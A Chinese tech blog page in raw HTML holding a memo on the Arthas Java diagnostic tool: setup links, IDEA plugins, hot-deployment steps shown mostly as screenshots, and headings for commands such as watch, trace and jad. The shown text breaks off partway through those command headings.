dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Arthas简单使用备忘录</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-e013510cb3a74907b4cd118b118d30db"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-49660a6b8b104449a089e36bd6de154f"><a href="#4167aad076384d6886643c483389677f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#6216de6129ce4cc19319ab02317fa14a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">基本配置</span></a><a href="#2a69447b8578439b8fff9f1bcd702af0" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">热部署</span></a><a href="#3991bb35efa44722a2699f80ad3e5a89" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">常用命令</span></a><a href="#91a2fac9d67e4eb68f80ce12aa78557c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">watch</span></a><a href="#a70ea93f49bc44eb9af458311b9e22a0" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">trace</span></a><a href="#309ea1f28e1048f989906192b5ecf2dc" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">jad</span></a><a href="#39acdf62e65e4362a2ff92efffb2eea9" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">thread</span></a><a href="#6ba8ddd54df34bf4a8c23154d9404a97" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">profiler
 </span></a><a href="#bb1503ec72a149b0bfc05514d3749738" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#b7688c06839f475f99d8092a08b7e21d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-4167aad076384d6886643c483389677f" data-id="4167aad076384d6886643c483389677f"><span><div id="4167aad076384d6886643c483389677f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4167aad076384d6886643c483389677f" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-75842799a0534659ab5017678231e4ff"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法</div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-6216de6129ce4cc19319ab02317fa14a" data-id="6216de6129ce4cc19319ab02317fa14a"><span><div id="6216de6129ce4cc19319ab02317fa14a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#6216de6129ce4cc19319ab02317fa14a" title="基本配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基本配置</span></span></h2><ul class="notion-list notion-list-disc notion-block-2fc39b5eadd9416d81e60f08e1c4e7cd"><li>官方文档:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://arthas.gitee.io/doc/">https://arthas.gitee.io/doc/</a></li></ul><ul class="notion-list notion-list-disc notion-block-ece49cba6c964588b4645c0c71b286f3"><li>下载arthas-boot.jar:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://github.com/alibaba/arthas/releases"><b>https://github.com/alibaba/arthas/releases</b></a></li></ul><ul class="notion-list notion-list-disc notion-block-b3c41a8443ee4d6b8bbd091ff384fd59"><li>直接java -jar arthas-boot.jar即可开始使用</li></ul><ul class="notion-list notion-list-disc notion-block-f4ac19d7d2414ba294cb255c510c8bef"><li>idea中安装两个插件:arthas idea &amp; ArthasHotSwap</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2a69447b8578439b8fff9f1bcd702af0" data-id="2a69447b8578439b8fff9f1bcd702af0"><span><div id="2a69447b8578439b8fff9f1bcd702af0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2a69447b8578439b8fff9f1bcd702af0" title="热部署"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">热部署</span></span></h2><blockquote class="notion-quote notion-block-afd11af0cd3a42fb9f6dc63e50e0c935"><div>限制:无法修改类名、方法名,无法修改类属性名称,无法新增类属性,无法新增非静态方法</div></blockquote><div class="notion-blank notion-block-eb365015594d4556b96217bd7c09aca4"> </div><div class="notion-text notion-block-3aa2a9596acc470ea32806cfb782b7da">我们修改以下代码</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-1abb1800907c407f8c684870699ce5a3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ff585c4ed-7c6f-4998-966e-d0081d2b7d18%2FUntitled.png?table=block&amp;id=1abb1800-907c-407f-8c68-4870699ce5a3&amp;t=1abb1800-907c-407f-8c68-4870699ce5a3" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-c810b651629c494d951f1c49c6d3e328">然后comile一下</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-57d4ad7c5cc1404b887f864994a1e2c7"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fda1b4a9f-75db-40db-bda2-9b953a26d36b%2FUntitled.png?table=block&amp;id=57d4ad7c-5cc1-404b-887f-864994a1e2c7&amp;t=57d4ad7c-5cc1-404b-887f-864994a1e2c7" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-aa247981241f4ca5b749229ce2fcf44e"> </div><div class="notion-text notion-block-e8b82bafe0fd4dde9e55259b8eb4d3ff">如果你远程服务器不止一个应用还需要指定一下jar包,这里java path也要是远程机器的真实地址</div><div class="notion-text notion-block-0bce87bde0414e9986df656bc5692349">他的原理是把你的class文件上传到oss,然后在服务器下载。如果怕代码泄漏,需要自己去oss买个bucket配置上传到自己的oss,这里不做详细说明</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-db0307ccb03940e6a6807bfc07afaa67"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F77ab3448-b42c-448f-9616-75f9dd9f9d21%2FUntitled.png?table=block&amp;id=db0307cc-b039-40e6-a680-7bfc07afaa67&amp;t=db0307cc-b039-40e6-a680-7bfc07afaa67" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-e9e6045c97a64a9b959ff04f7019f248">然后在指定class右键执行工具</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-00bc6d41735648b6a443e145bb33d169"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F3e9b7e84-080a-4392-9503-3a4345994ca0%2FUntitled.png?table=block&amp;id=00bc6d41-7356-48b6-a443-e145bb33d169&amp;t=00bc6d41-7356-48b6-a443-e145bb33d169" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-4fcb29e190ad4736b951b048e8b490f4">去宿主机部署代码,当看到succss就是成功了</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-c045edef158c4c43a86745748cdf2ed0"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F99c8dc77-8162-433d-8315-b38539f96c28%2FUntitled.png?table=block&amp;id=c045edef-158c-4c43-a867-45748cdf2ed0&amp;t=c045edef-158c-4c43-a867-45748cdf2ed0" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-3c034094e02442f9818dfd49579543ab"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3991bb35efa44722a2699f80ad3e5a89" data-id="3991bb35efa44722a2699f80ad3e5a89"><span><div id="3991bb35efa44722a2699f80ad3e5a89" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3991bb35efa44722a2699f80ad3e5a89" title="常用命令"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常用命令</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-46c4c01dbf1b4ce08eda5c0639b8453f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fa64a490d-b29d-4ba1-8be9-96d62264806d%2FUntitled.png?table=block&amp;id=46c4c01d-bf1b-4ce0-8eda-5c0639b8453f&amp;t=46c4c01d-bf1b-4ce0-8eda-5c0639b8453f" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-91a2fac9d67e4eb68f80ce12aa78557c" data-id="91a2fac9d67e4eb68f80ce12aa78557c"><span><div id="91a2fac9d67e4eb68f80ce12aa78557c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#91a2fac9d67e4eb68f80ce12aa78557c" title="watch"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">watch</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-a70ea93f49bc44eb9af458311b9e22a0" data-id="a70ea93f49bc44eb9af458311b9e22a0"><span><div id="a70ea93f49bc44eb9af458311b9e22a0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a70ea93f49bc44eb9af458311b9e22a0" title="trace"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">trace</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-309ea1f28e1048f989906192b5ecf2dc" data-id="309ea1f28e1048f989906192b5ecf2dc"><span><div id="309ea1f28e1048f989906192b5ecf2dc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#309ea1f28e1048f989906192b5ecf2dc" title="jad"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 